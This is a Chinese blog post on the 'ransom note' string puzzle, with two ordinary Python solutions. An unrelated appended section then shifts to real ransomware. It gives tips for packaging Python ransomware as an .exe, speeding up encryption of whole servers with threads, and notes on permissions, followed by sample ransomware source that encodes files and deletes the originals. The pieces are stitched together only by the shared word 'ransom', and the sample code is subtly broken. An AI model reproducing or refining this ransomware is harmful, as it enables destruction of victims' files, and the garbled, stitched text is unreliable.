python 勒索信

博客围绕判断杂志内容能否构成勒索信展开,要求杂志字符仅能用一次。介绍了两种方法,一是统计字符数量,二是剪切字符串,最后欢迎读者留言交流。

描述

在一本杂志中剪切出一些字母,构成一封勒索信的内容。写一个方法判断杂志的内容能否构成这封勒索信,如果可以,返回True;否则返回False。要求杂志字符串中的每一个字符仅能在勒索信中使用一次。

方法一:统计字符数量

# 勒索信
def demo8(ransomnote, magazine):
    chardict = [0]*26
    # 统计字符数量
    for c in magazine:
        chardict[ord(c)-ord('a')] += 1
    for ch in ransomnote:
        i = ord(ch)-ord('a')
        chardict[i] -= 1
        if chardict[i] < 0:
            return False
    return True

方法二:剪切字符串

# 勒索信2
def demo8_2(ransomnote, magazine):
    s1 = magazine
    for a in ransomnote:
        # 剪切后拼接
        s = ''.join(s1.split(a, 1))
        if s == s1:
            return False
        s1 = s
    return True

其他:(欢迎留言交流)

勒索病毒更多情况下是以.exe 可执行文件形式存在,一般由编译型语言编写后编译形成。由于 Python 是解释性语言,无法直接生成可执行文件,可使用 pyinstaller 模块将 py 文件打包为 exe 文件执行,安装命令为`pip3 install pyinstaller`,进入 .py 文件所在目录后,在 cmd 执行`pyinstaller [...].py`即可完成打包 [^2]。 Python 编写的简易勒索病毒代码在加密单独文件夹下的文件或者少量文件时效率尚可,但加密整个大的服务器系统可能会导致卡死,可使用 Python 中的`threading`进行多线程加密来解决这一问题。同时,可能存在当前用户权限不够导致文件无法加密的情况。该代码主要用于了解勒索病毒的原理以及一些常用的加密算法 [^3]。 以下是一段包含加密和解密功能的 Python 勒索病毒示例代码: ```python import base64 import os def ran_encode(res): for r in res: with open(r, 'r') as fp: src = fp.read() se = '' for b in src: new = chr(ord(b) + 5) se += new resp = base64.b64encode(se.encode()) s = r + '.enc' with open(s, 'wb') as fp: fp.write(resp) os.remove(r) def ran_decode(res): for r in res: with open(r, 'r') as fp: src = fp.read() se = '' for b in src: new = chr(ord(b) - 5) se += new resp = base64.b64decode(se) s = r[0:-3] os.remove(r) with open(s, 'wb') as fp: fp.write(resp) path = r"需要勒索的目录,绝对路径" def intes(): res = list(path) ran_encode(res) def outs(): src1 = list(path) ran_decode(src1) ``` 此代码展示了简单的勒索病毒加密和解密逻辑,先将文件内容进行字符偏移和 Base64 编码加密,解密时则反向操作 [^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值